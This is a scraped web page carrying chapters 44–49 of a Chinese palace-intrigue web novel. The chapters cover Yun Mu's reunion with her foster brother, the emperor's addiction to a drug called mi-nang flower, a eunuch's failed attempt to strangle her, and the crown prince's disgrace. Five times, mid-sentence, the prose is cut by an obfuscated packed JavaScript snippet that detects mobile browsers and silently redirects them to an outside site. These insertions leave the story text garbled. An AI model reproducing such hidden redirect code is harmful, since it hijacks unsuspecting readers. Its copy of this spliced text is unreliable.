翌日快到午时,两辆马车自云府往常安坊去。前头的马车里坐着云暮几人,后头装的是安叔一早采买回来的六礼。 马车平稳地停在明德学堂门口,此时孩子即将下学,学堂门口站了不少人,有孩子的父母,还有一些凑热闹的二流子,见云暮牵着一个男孩下车,都瞪大了双眼。 “他不是阉人吗?孩子哪来的?” “云大人五年前入宫,算起来,今年才及冠,没准是他在江南欠下的风流债呢。” 这章没有结束,请点击下一页继续阅读! 第四十四章 他认出我了 沈聿明见不得云暮低声下气求人,京城这么多夫子,不差这一个,大不了从翰林院给十五找个人来当先生。他上前两步,拉着两人就要走。 孟煦终于起身,“这位是秦王殿下吧,久仰久仰。” 阴阳怪气。 沈聿明腹诽了一句后才抬眼看人,只一眼,他便愣在了原地。 “夫子本家姓孟?” 孟煦眉心一跳,“殿下这是何意?” 秦王也不过及冠,当年之事过去了这么久,他离开那个家,改头换面在此生活了三十余年,就连皇帝都不知晓,秦王怎会无故发问? “本家不姓孟,难道还能姓梁吗?或是需要草民拿族谱来给王爷查看?” 细看之下,还是不太相同,他看过卷宗,镇北侯一家满门抄斩,就连家生子都登记在册,沈聿明当他想多:“不用,只是夫子和本王的一位故人有几分相似,这才多嘴问一句。” 孟煦咄咄逼人,十五离沈聿明最近,下意识抓住他的衣袖,想往身后躲,但想到云暮跟他说过的话,又忍着惧意站在前头。 孟煦定定看着十五,像是要把人盯出个洞,“墨轩,上茶。” “王爷,还请你们先在此处等候片刻,草民需和云大人议后再做决定。” 沈聿明隔着衣服抓住云暮的手,云暮安抚地拍了拍他,又摸了摸十五冰凉的脸,“无事,我去去就回。” 她心里有了一个大胆的猜测。 “当朝王爷为你拔了几根烂舌头,云大人好风光。” 这话倒是没说错,云暮没得反驳。 见她还杵着不动,孟煦没好气道:“大人站着作甚,这要是给王爷看见了,等会儿是不是也要来拔了草民的舌头?” 云暮双手摊在孟煦面前,一如幼时犯了错∶“兄长,我错了。” 不过眨眼的功夫,记忆里那个爱捉弄人的小鬼变成了人人害怕的玉面阎罗,孟煦鼻头一酸,哑着声音质问:“大火之后我找不到你,我还当你真的葬身火海了。五年前入京为何不来寻我?护你一个小孩,兄长还是能做到的。” 大不了他带着人换个地方生活,大仇来日再报。 再次听到云暮这个名字,他以为是个同名同姓之人,哪怕成了中郎将,他也未能见上云暮一面,每次得了消息过去,已经晚了。 年后抄侍郎一家时,他早早守在不远处,也就是这一眼,他认出了此云暮就是彼云暮。 死而复生之人重返京城,无非是为了报仇,他想相认却怕打乱云暮的计划。 这一年他一直暗中看着她,看她功成名就,他不能祝贺,看她满身伤痕,却只能在夜半把伤药放在府门。 今天,终于等到了人,哪怕她不是为了别人而来。 云暮把泪水逼回眼眶,大致交代了当年之事,“怕牵累兄长才不敢贸然打扰。” 孟煦气消了大半,但还是要嘴硬一句:“现在就不怕了?” 云暮咧嘴笑道∶“小妹见了兄长,犹如见了主心骨,怎么会怕。” “油嘴滑舌,那个孩子是怎么回事?” 他才不信这是云暮的孩子。 云暮把十五的情况简单地说了一遍:“这孩子悟性不错,只是有些胆小,要劳烦兄长多费些心思。” 孟煦气道∶“这些不干人事的畜生!合该千刀万剐!” 又道:“孩子放在为兄这里,你尽管放心,只是你当真要选择秦王?太子无过,皇上就算再喜他,也不会另立储君,他的胜算可不大。” 孟煦不在朝堂,却一直关注着朝堂的动向,自然知道沈聿明的事。 云暮拿不准沈聿明的想法,说他不想,却也结交朝臣,说他想,结交的又都是一些位卑职小之流。 “走一步看一步吧,他若是想,也未尝不可。” 太子稳坐东宫多年,还能让朝中半数人支持他,光靠着太子和崔家的名头可做不到。想要拿捏他们,势必会留下把柄,太子能做的,她也能做得。 孟煦不再多劝,只在心里替云暮想好退路,他这几年积攒了不少人脉。沈聿明胜出固然好,他还能让云暮替镇北侯翻案。若败了,他也能把云暮带走,沈聿明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632394|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是死是活,与他何干? “把那个孩子叫进来吧,我同他聊聊,你晚些过来接他。” 云暮不放心地回头叮嘱:“你一会儿多笑笑,他胆小,别把人吓哭了。” 孟煦嘿了一声,后面的话还没说,云暮拔腿走了。 云暮才刚出来,沈聿明就注意到她泛红的眼眶,起身紧张问道:“他欺负你了?” 云暮拦住想要找人理论的沈聿明:“没有,等会儿再同你解释。” 接着蹲下身子,视线和十五平齐:“十五,孟夫子是个很好的人,等会儿他问什么你就答什么,莫怕,去吧。” 十五懵懂地点了点头,摸了摸云暮的眼:“大人,你别伤心,十五一定好好和夫子念书,成为你和王爷一样厉害的人。” 云暮扬了扬嘴角,把人交给了墨轩。 “孟夫子认出我了。” 这件事知道的人越多,云暮越不安全,沈聿明不敢赌,“要本王找人……” 云暮忙拉下他 放在脖间的手:“不用,兄长今年年初就认出了我,要是出事,我也活不到现在。” 兄长?也是,那人一把年纪了,对她构不成威胁。 “我爹娘在医馆旁捡到了奄奄一息的兄长,那是他才十岁,在云府一住就是八年,他文采斐然,却不愿考取功名,便搬出去当一名教书先生。” “彼时他年岁尚小,不收束修也没有几个学生。我到了该念书的年纪后,气走了不少夫子,最后他们把我送去了兄长那里,一学就是四年。” 云暮笑了笑:“算起来我也是他看着长大的,他能认出我倒也不奇怪。” 沈聿明恍然大悟:“难怪你这么爱捡人,原来是得了你爹娘的真传。” 云暮有些无语。 马车悠悠停在云府,车上的东西又被人原样搬下。 安叔不住地往马车看:“十五呢?没拜到师,他哭坏了吧?实在不行,大人不如仗势欺人,逼他收下十五?” “安叔这个法子不错,可惜十五已经拜到师了,用不上了。” 第四十五章 祸引太子 安叔笑得乐开了花,在原地转了几圈才冷静下来,这几天的相处,他打心眼里把十五当成自己的孙子来疼,看着整齐码在院中的六个大箱子,“那这些……” 云暮双手一摊,无奈道:“夫子不收,就算我是上将军也没有办法。” 她转而看向沈聿明:“王爷,我等会儿要进宫,若是出宫晚了,十五那边还麻烦你去接他回府,如果你有事要忙,让安叔跑一趟也行。” 沈聿明皱眉:“你不是告了假?” 云暮没有过多解释,方才孟煦的话问到了她心上,从前她只要查清害死父母的真凶,谁上位对她来说都不重要,但如果背后之人是皇后和贵妃呢? 她到时就算从龙有功,他们也不会为了她而处置亲娘,朝中同时憎恨她们的人,唯有沈聿明。 既然决定扶他上位,也该有所动作了,而眼下正好有个机会。 她今日告假,梁文帝只能自己批折子,见云暮来,还有些诧异:“云卿,不是告了假,怎么来了?你快来把剩下的这些折子批了,朕看着都头大。” 云暮没答,把手中的东西呈到他面前后,直挺挺地跪下:“皇上,奴婢怀疑朝中有人豢养私兵,陶妍乃卢宏之女,卢家尚且如此,其他几家多半也有嫌疑。” 事关皇权,梁文帝的注意力被移开:“除了世家,你可还有怀疑的对象?” 云暮飞快地瞥了一眼,正好装进梁文帝幽深的眼眸,她忙低下头:“奴婢不敢说。” 不敢说,并不是没有。 梁文帝双眼微眯,悄无声息地站在她面前,“你说,朕恕你无罪。” 云暮沉默了良久,最后吐出了两个字:“太子。” “放肆!你知道你在说什么吗?” 梁文帝疑心病重,用了米嚢花后更甚。云暮深知言多必失,只一言不发跪伏在地,此时再攀咬,只怕会惹火上身。 门外的王全得意地甩了两下拂尘,他虽不知发生何事,但听着皇上的那句话,显然是云暮又惹他生气。 能被皇上看上那是他的福气,还敢拿乔,真是不知好歹。 梁文帝在摔了数个茶杯后,终于冷静了下来:“你有何证据证明太子与此事有关?” 云暮谨慎道:“陶妍被抓后,奴婢不许手底下的人走漏风声,太子总是有意无意地打听,这两日布政坊外都是伪装成平头百姓的探子,奴婢派人去查了,他们最后都进了太子府。” 她本想把醉江月一事托出,但最后还是忍住了,此刻踩了太子一脚,又再捧沈聿明,心思太过于明显,不如让梁文帝亲自派人去查。 太子表面温润如玉,内里阴险狠辣,打着勤俭的旗号在背地里敛财无数,这些都是她最近新发现的,她能查到,梁文帝也一定能。 怀疑的种子一旦种下,生根发芽是迟早的事,只要再让梁文帝发现一些苗头,信任就会逐步崩塌,到时躲在深宫的皇后和贵妃还按捺得住吗? 最寄予厚望的孩子和养私兵扯上关系,他年事渐高,万一太子真起了不该有的念头,他也能早做防范。 梁文帝轻叩了一下桌子,“暗一。” 一个人从暗处走出,“皇上。” “去查。”他不是不信云暮,只是他需要证据。 云暮毫不惊讶,她早知梁文帝手里还有一支暗卫,拢共十二人,平常隐在暗处护他周全,非必要不出现。 “那孩子,你打算怎么处理?” 冷不丁听到这一句,云暮愣愣抬头,不明所以地‘啊’了一声。 “你捡回来那个孩子,把他送走,朕不希望在你府里看到无关紧要之人。” 云暮执拗地看着他:“皇上,奴婢想留他。” 梁文帝被气笑了,云暮真是胆子肥了,连他的话都敢不听了。 “理由。” “他不过五岁,外头天寒地冻,他活不下去。” “与你何干?” 一向无欲无求的云暮突然求他,只为了收一个人,谁知他是不是有亵玩娈童的喜好? 云暮暗中掐了大腿一把,泪花浮上眼眶:“五岁那年的冬日,奴婢差点冻死在破庙,幸得师父路过暂避风雪,救了奴婢一命, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632395|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奴婢见到他那日,就像看见年少时的自己,求皇上让奴婢救一救当年的自己。” 梁文帝几年前在江南就知晓了此事,当下也不再生疑,大不了他去云府突击就是了。 “罢了,留就留吧,但你要知道,朕允了你,你总得许朕一些好处。” 云暮揪住两侧的衣摆,垂头不语。 等了这么多年,梁文帝不介意再等上几天,“想清楚了就来告诉朕,你回去罢。” 云暮坐在马车里,总觉得脸上还残留着被梁文帝抚摸时留下的触感,她被恶心得干呕了几声。 外头赶车的砚石担忧问道:“大人,你没事吧?” 脸都被擦红了都没有停手,直至一壶茶见底“无事,去接十五吧。” “大人,是王爷的马车。” 云暮撩开车帘,看到沈聿明和孟煦站在学堂门口,嘴巴张张合合,不知在说些什么,她往旁边张望了一下,还是没看见十五的身影。 “你们在聊什么 ,十五呢?” 怕两人看见她的脸,云暮特意带上了兜帽。 “大人!我在这里!” 马车的帘子被人掀开,云暮一把接住直接往下跳的十五,“小心点,别摔着了。” 孟煦替她理了理有些歪斜的兜帽:“不是什么大事,以为你不来,兄长正和王爷交代十五今天的课业呢。” 沈聿明揽住云暮的肩把人往马车上推:“时候不早了,回去吧。” 孟煦不满地看着沈聿明的动作,有种想上前打掉他的手的冲动,但在云暮扭过头时又换上了一贯的温和,冲她摆摆手,“回去吧。” 文竹使劲抽了一鞭马腚,马车飞驰向前,不过片刻就消失在孟煦的眼中。 “怎么不摘下兜帽,冷?” 沈聿明试探地碰了碰她的手,也没有很冷啊,但还是把火盆挪到了云暮的脚边。 十五见了沈聿明的动作,有样学样,把云暮的手拢住,“大人,你不冷了吧?” 云暮把手抽出:“不冷了,今日在学堂觉得怎么样?” 第四十六章 好人 提到学堂,十五叽叽喳喳说个不停,除去所学的内容,剩下的全是夸赞孟煦。 沈聿明戳了戳他的脑门:“你个小没良心的,才认识多久就夸个不停,本王还特意来接你呢,你怎么不夸夸本王?” 十五抓着沈聿明的手臂晃了晃,又从桌上抓了一块糕点喂他:“王爷你是顶顶的好人。” 沈聿明低头咬了一口,满意一笑。 云暮心说,还挺好哄。 十五又把时手中的糕点递到云暮嘴边:“大人,你也吃!十五最喜欢大人!” 这…… 沈聿明才刚咬过,她着实下不去嘴:“十五,我不饿,你自己吃吧。” 示好被拒绝,十五嘴一撇,眼看着就要哭出声,云暮只好在没被咬过的地方咬了一口:“好了,满意了?” “大人最好了!” 一抬眼,就看到两人正笑着看她,云暮有些脸热,她把帘子拉开一条缝,寒风猎猎,把兜帽吹掉了一半。 一直关注她的沈聿明定睛细看后起身坐到她身侧,制止了她要拉上兜帽的动作。 “你的脸怎么回事?父皇打你了?” 云暮用手背挡了挡脸,不想脸上的红痕暴露在二人眼前。 “没有,你松手。” 沈聿明没有理会,反而掀开兜帽,伸手捏住她的下巴,强势地把脸转了过来。 两人离得极近,雪松味快要把云暮淹没,她往后仰头,伸手推了推沈聿明:“王爷。” 温热干燥的手指抚过面颊,冲散了梁文帝带来的恶心感,但她许久没有和人这般亲近,手臂上的寒毛直竖。 见沈聿明还是不松手,云暮使力捏住他的手腕。 沈聿明轻嘶了一声,忍痛看完,发现不是巴掌印后才松了手:“到底怎么回事?” 十五还是头一回见到云暮对人动手,不禁有些害怕,但他还是伸手握住她的手,又踮脚对着脸吹了两下,哽咽问道:“大人,你还痛吗?十五帮你打坏人。” 云暮顺势把人抱起,放在她和沈聿明中间,逼得沈聿明坐回原位。 “不痛了,没人打,只是脸上沾了墨,洗的时候太过用力,擦红了,怕你们担心才戴着兜帽。” 她的话沈聿明一个都不信,墨水能从脸上一路沾到下巴?而且脸上半点墨痕都没有。 遇事总是独自瞒下,任谁问都不开口,沈聿明不免生气,但又无可奈何。从宫里一路摸爬滚打出来,事事都向旁人吐露,她也活不到今天。 相识相知这么久,他对她来说难道只是一个关系好了那么一丁点的旁人吗? 面对他时,总是遮遮掩掩,而对着孟煦却能轻易道出身份,就凭那几年的师生情谊吗?猛然想起孟煦的话,他心里更是窝火。 到了云府,云暮和十五才落地,车里传来一句淡漠的“回王府”,云暮还没反应过来,马车已经到巷口了。 十五笃定地说道:“王爷生气了。” 云暮如何不知,只是这事她实在开不了口,“十五,你先和安叔回去,我还有事。” 既然等不及,那就换个方式继续等吧,且看谁耗得过谁。 早朝上,梁文帝把奏折砸向云暮,怒斥:“你这个上将军怎么当的?昨夜有贼人无声无息地闯进宫里盗窃东西,今夜是不是就能提剑闯进朕的寝殿了?” 鸦雀无声的朝堂突然沸腾,更有甚者直接让皇帝罢了云暮的上将军。 云暮扫了奏折一眼,跪地请罪:“臣罪该万死,从今日起,臣会加派人手保护陛下,并日夜带人巡查皇宫和京城,早日将凶手缉拿归案谢罪。” “只是不知凶手盗走何物,皇上可否让看守库房之人拟出一份名单,若有人敢在京中倒卖,臣必定将其拿下。” 这话把梁文帝问得哑口无言,那贼人放着满屋子的金银珠宝不要,反倒是把角落的米嚢花全拿走了,一颗都不剩。 若不是他夜半喝了碗药膳,今早他怕是连早朝都上不了。鬼市已经被端了,京城也无人敢顶风作案,他往后的日子该怎么熬? 勤政殿里,云暮直直地看着梁文帝:“皇上最近可是在服用米嚢花?昨夜贼人偷走的可是米嚢花?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632396|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被戳穿的梁文帝恼羞成怒,“是又如何,朕乃一国之君,有什么用不得的?” 云暮苦口婆心地劝道:“奴婢说过,米嚢花不仅于人无益,长久服用还会被其掏空身体。” 梁文帝冷笑了一声,勾起云暮的下巴,暧昧地摸了摸:“朕倒是觉得用了米嚢花之后,更加龙精虎壮了,云卿不妨和朕试试,便知是真是假了。” 云暮没有动作,在心里默数。 梁文帝见云暮没有拒绝,心中大喜,欲更进一步,手才落到他的脖上,忽然全身泛冷,颤抖不止,很快就倒在了地上。 云暮冷眼睥睨着他的丑态,在王全进来之前,她蹲下身摇晃着梁文帝的身子,焦急地喊道:“皇上,您没事吧?来人,传太医!” 西隔间的龙榻上,梁文帝拉着云暮的手,“朕要米嚢花,快把米嚢花给朕!” 见云暮不应,又改了口:“只要你给朕,朕什么都依你,你不喜欢的朕以后都不勉强你了。” 云暮不为所动,一记手刀把人敲晕,朝身后的王全伸手:“绳子。” 王全为难:“这……” 用绳子来捆皇上,借他十个胆他也不敢啊,皇上惦记着云暮的身子,自然不会轻易弄死,可他只有这一条小命啊! “再不给,你信不信本将军现在让人打死你,皇上醒来也不会多问一句?” 王全怨毒地看着他,心想,死的人该是你才对,皇上病发时神志不清,只要哄他写下退位诏书,传位于三皇子。贵妃答应过他,只要事成,金吾卫的上将军之位就是他的。 他阴狠地笑了笑,抽出袖中的绳索往云暮的脖子套去,用力往后勒。 云暮察觉不对但也只来得及抓住一点绳索,脖子被勒出一道红痕,胸腔的空气越发稀少,她抬起脚后跟狠狠地踩住王全的脚,又用力碾了几下。 王全吃痛,手上的力道松了两分,云暮趁机把手臂伸进绳索和脖子中间,喘了几口大气。 正僵持间,脚步声响起,王全仰天大笑:“云暮,今日就是你的死期,皇上都救不了你!” 第四十七章 王全身死 哐当一声响,云暮的心提了起来,王全敢对她下手,想来是蓄谋已久,他是在为谁办事? 皇后,贵妃,还是其余几个育有皇子的妃嫔? 感受着王全逐渐加重的力度,云暮一只手伸到腰间摸索,身后得意的狞笑声突然变成了尖叫,嗓音尖细,快要穿破她的耳膜,王全的手耷拉下去,瘫倒在地的声音有些闷。 血腥味瞬间在西隔间蔓延,云暮握着匕首真骤然转身,看到是沈聿明时才卸下防备:“多谢王爷出手相助。” 见她跟个没事人似的,沈聿明真想问问她有没有心。 昨日回去后,别说人没来,就连信都等不到一封。下了朝后本不想理会,但又担心她被父皇刁难,还是来了勤政殿,结果就撞见了这一幕。 沈聿明丢了手中那块沾了血的碎瓷片,垂眸看着那把斑驳的匕首,很快又移开眼,他点了点正捂着脖子往外爬的王全,“父皇病发,王全欲挟天子以令诸臣,云大人还不动手?” 王全的喉咙被划伤,嘴巴张张合合,声音依旧含糊不清。云暮掏出一个药瓶,把粉末倒在了王全的伤口处,清凉过后是钻心的痒。 她按住王全的手,“谁指使你来杀本将军的,如实招来,本将军便把解药。如若不然……” 王全的喉咙发出拉风箱的声音,嗬嗬了几声。 为得圣恩,他把熬药汤的活揽了过来。昨夜贪睡,给梁文帝准备药汤的时间比平日晚了不少,他火急火燎地赶去库房,走时没把门锁上,送完药汤后才想起此事,回去后发现米嚢花一颗不剩。 王全天都塌了,他伺候梁文帝用米嚢花久了,早就发现每回从长乐宫回来,梁文帝都不用米嚢花,他猜测贵妃手里有米嚢花,于是马不停蹄地去敲了长乐宫的宫门,求贵妃赏他几颗米嚢花。 愁眉苦脸地进去,喜笑颜开地出来,袖中鼓鼓囊囊。 涣散的眼神再次聚焦,王全手指沾血,歪歪斜斜地写了一个婉字。宫中带婉字且育有皇子的唯有婉嫔一人。 云暮刚进宫的头两年,时常被人欺负,婉嫔当时还是常在,却也出手相助过她几回,云暮投桃报李,得势后在梁文帝面前提过几次,又暗中给对方送了几副药,对方终于怀上了龙裔。 婉嫔母家不显,又是个不争不抢的性子,稚子也不过三岁,就算假传圣旨废太子,立九皇子为储,婉嫔如何斗得过皇后和贵妃? 王全真当她好骗吗? 云暮松开手,任由王全抓挠伤口,最后气绝身亡。 贵妃翘着手指,慢条斯理地往上套护甲:“死了?” 红袖惊魂未定,心里却是一阵松快:“死得透透的,奴婢亲眼所见,王全双手沾血,喉管露在外头,像是被他自己扯出来的一样。” “怎么说王全也与云暮共事了这么久,他说杀就杀,毫不手软,还真是心狠,若他能为本宫所用,皇后太子于本宫而言,又有何惧?望他能早日走上正途。” “娘娘,王全会不会把长乐宫招出来?” 贵妃掩嘴笑道:“招?昨夜他来时可有人看见?空口白牙的就要污蔑本宫?拿上东西,走吧,去看看皇上。” 有人已经先她一步到了勤政殿。 皇后坐在床边,一袭湖蓝色宫装衬得她格外端庄,“皇上好端端的,怎么会昏倒?” 院使正要答话,她冷嗖嗖的一个眼神过去,打断了他的话:“本宫问的是云暮,你插什么嘴?” 云暮不知皇后是否是那个幕后主使,没说实话,“皇上近来体虚,又怒急攻心,所以昏了过去。” 皇后双眼紧盯着云暮,罚跪一事过后,她不仅被皇上迁怒,还折了一个春兰,又听说他同沈聿明交好,心里的那点愧疚早就化成了恨。 “皇上日日服用汤药,怎会体虚?” 云暮早有准备,“这半个月以来,皇上日夜操劳,又食欲不振,就算吃再多补药也无济于事。” “荒唐!你身为天子近臣,也不劝着点皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632397|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上!” 沈聿明拦住云暮下跪的动作,把人挡在身后:“皇额娘这话好没道理,父皇宠幸谁岂是云大人能置喙的?即便布政坊设在宫里,难道皇额娘要云大人去后宫把皇上从床上请下来吗?” “况且,您才是后宫之主。” 这话说的太糙,皇后又羞又气,“你就是这么跟你皇额娘说话的?” 贵妃在门外听了好一会儿,见皇后吃瘪,她勾了勾唇:“皇上还病着,皇后娘娘怎么当着皇上的面就和秦王殿下吵了起来?” 皇后冷冷地看着贵妃,她已经年过四十,但那张妩媚的脸丝毫不见疲态,反倒因为这二十来年的养尊处优养出了不少贵气。 “这就不劳妹妹费心了。” 二人唇枪舌战间,梁文帝悠悠转醒:“吵什么?” 看见坐在一旁的皇后时,他嫌恶地移开眼:“皇后还在禁足,谁把人放出来的?” 皇后的手尴尬地举在半空,贵妃见状,端着从食盒里端出一碗汤走到床边:“皇上,臣妾听说你今早还未用早膳就去上朝,特意熬了一碗四君子汤,您尝尝?” 梁文帝刚要挥落,就闻到一股熟悉的味道,他来不及多想,直接夺 过碗。 云暮看着意犹未尽的梁文帝,若有所思地盯着空碗,就连梁文帝喊她都没有听见,再回神时,屋里只剩下她和梁文帝。 勤政殿的地龙烧得极旺,梁文帝看着腰肢纤细到似乎能一掌掐断的云暮,喉咙滚动了几下,“云卿,过来。” 还没有什么人能让他等两年。 这种目光云暮见得太多,正盘算着找什么借口推脱,她耳朵一动,察觉到了第三个人的气息。 暗一不知从何处进的勤政殿,将一直藏在怀中的东西摆在梁文帝面前:“皇上,属下目前只查到了这些。” 梁文帝只能按下那点旖旎的心思,一张一张地看了起来,不多时,他把手中的信件全都扫落在地,怒道:“逆子敢尔!” 第四十八章 皇子监国 皇后的人来传话时,太子梁今越还在和崔钰商量如何给梁文帝上眼药,好往金吾卫安插人手。 得了梁文帝昏迷的消息后,马不停蹄地赶到勤政殿,一路上右眼皮狂跳,心也慌得厉害,不曾想在勤政殿外被新上任的太监黄如海拦在了外面。 才刚进勤政殿,一沓纸直冲冲地朝他面上飞来,太子不知发生何事,但也不敢躲。 “逆子,朕对你寄予厚望,你就是这样报答朕的?若不是折子递到朕面前,朕都不知你瞒着朕做了这么多好事!” 太子的心揪了起来,这段时间做的事可不少,他拿不准梁文帝说的是哪件,他隐晦地扫了一眼云暮,试图从对方的表情看出些什么。 云暮面无表情地把视线移至地上。 太子弯腰捡起一张纸,只看了两行便面色苍白地跪下,他不知所措地地看着梁文帝:“父皇,这不是……” 梁文帝拿起手边的东西砸了过去,“你是不是还想说这不是你做的!这些都是从你书房搜罗出来的,你还要狡辩?” 滚烫的茶水把太子的脸烫红了一片,看得云暮神清气爽。 早朝上,太子的党羽一心想要把她从高处拽下,就差指着她鼻子骂了,她咽不下这口气。 梁文帝发火时,手边有什么砸就砸什么,所以在太子来前,她特意沏了一杯滚烫的热茶放在梁文帝手边。 茶水滚烫,太子却冷汗涔涔,为了拿捏那群人,这些东西都被他藏在暗格里,怎么被人找了出来,还是他父皇的人! 太子在心里把所有人怀疑了一遍,他父皇信得过,武艺还高的,唯有云暮一人。只是他一向谨慎,明面上又不曾和对方有过冲突,怎么就被抓住破绽了呢? 但眼下要紧的不是谁发现的,而是如何把这件事糊弄过去。 太子言辞恳切:“父皇,儿臣做这些事事出有因,能否让云大人暂避,容儿臣和您细说。” 云暮闻言,终于动了,她看向梁文帝,见他微微点头,这才抬步走了出去。 一直守在门口的黄如海弯腰走了过来,低声道:“方才贵妃走时,红袖姑娘被人冲撞,碗碎成了几瓣,奴婢已经派人把破碗收好了。” 云暮赞许地看了他一眼,人比王全年轻不说,也很懂办事,云暮提拔他上来时特意交代过,今日不管是谁带了吃食来,都务必把碗留下。 “做得好。” 黄如海谄笑:“是大人教得好。” 云暮不置可否,两人一时无话,都静静听着勤政殿内的动静。 梁文帝对太子可没有对云暮那般宽容,任由他狼狈跪地:“说吧。” 太子往前跪行了几步,扒着梁文帝的膝盖,“父皇,儿臣听闻摘星阁……” 小半个时辰过去,太子终于从勤政殿里出来,眼眶还有些微红。见到云暮时,他皮笑肉不笑地说道:“云大人好本事,父皇有你在身边,可高枕无忧。” 云暮摆了摆手:“皇上乃一国之主,手下能臣无数,太子怎么就敢断言此事乃下官所为?” 太子敛了假笑,难不成他猜错了,不是云暮所为? “你们退下,云大人有话不妨直说。” 云暮往前走了两步,轻声说了一句:“太子殿下,有些人隐在暗处,看不见的。” “你是说……” 云暮打断了他:“下官什么都没说,殿下日后行事还是处理干净的好,这次是皇上先发现,若是其他人,殿下不掉层皮他们可不会罢休。” 太子对着云暮的背影出了好一会儿的神,临走前终于发现了不对:“王全呢?” 黄如海笑道:“回太子殿下,王全受奸人挑唆,意图谋害圣上,已被就地正法。” 王全的大胆超乎太子的想象,他有些意外,随后意味深长地看了黄如海一眼,“太监总管可不是什么好差事,你可得小心了,别哪天又和前两个一样,草席裹尸,曝尸荒野。” “多谢太子殿下提点。” 黄如海自小进宫,摸爬滚打这么多年,自然也知道宫里的阴私。云暮进宫五年,太监总管就换了两个,确实算不上什么好差事,可他和前面那两个蠢货不同。 第二日,大臣已经到齐,但龙椅上却空空如也,就连太子也不见踪影,不多时,沈聿明和三皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632398|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子等人一起走进了金銮殿,众人议论纷纷。 “这……” “三皇子他们怎么也来了?” “是啊,太子怎么不见人?” 在本朝,未封王的皇子不得上朝,今日罕见地都来了好几个。 三皇子按下喜悦,和沈聿明一起站在了最前边。 有人正欲发问,黄如海手持圣旨前来:“太子失德,禁足一个月。朕身体抱恙,从今日起,秦王和三皇子等人共同监国,丞相等从旁协助,直至朕病愈,钦此。” “儿臣(微臣)遵旨。” 沈聿明这才知昨日那句“把握机会”是何意。 黄如海才走,除去沈聿明兄弟几人,剩下之人都看向了丞相。崔家是太子的外家,崔氏兄弟又和太子交好,不知崔家是否会被迁怒。 丞相虽然早有准备,但被人这么盯着,他还是觉得锋芒在背,在心里 把皇后和太子都问候了一遍后才转身问道:“都看着本相做什么?是有人在本相把本相的脸当成奏折在上边写了字吗?” 众人唯唯诺诺低下了头。 丞相左手一伸,对沈聿明说道:“王爷,请吧。” 几位皇子里,只有沈聿明被封了王,由他替太子之位最合适不过。 沈聿明上朝时日不短,主持大局还是第一次,有些官员倚老卖老,不时挑刺,最后还要再补上一句:“若是太子殿下在就好了。” 不是云暮,沈聿明没必要惯着对方,他双手背在身后,看向说话之人:“陈大人这么欣赏皇兄,为皇兄打抱不平,本王给你出个主意,你明日起就罢朝在家,以示对父皇的决断不满,如何?” 陈员外郎早就想投入太子的阵营,奈何他的顶头上司吏部尚书不站队,如今丞相还在,他自然要为太子说上几句话,若是丞相在太子面前说上一嘴,他的前途不可限量。 沈聿明平日上朝,不是打瞌睡就是父皇说的都对,本以为对方是个软柿子,皇上太子不在,他会吃下这个亏,没想到也是个有心机的。 陈员外郎只能讪讪闭嘴,毕竟再给他十个脑袋,他也不敢抗旨不遵啊。 第四十九章 戒瘾 勤政殿里,云暮拿着绳索捆住梁文帝的手脚,怕他咬到舌头,又把薄被的一角塞进他口中。 梁文帝年过半百,但自小习武,云暮费了好大的力气,折腾出一头汗才把人制服。 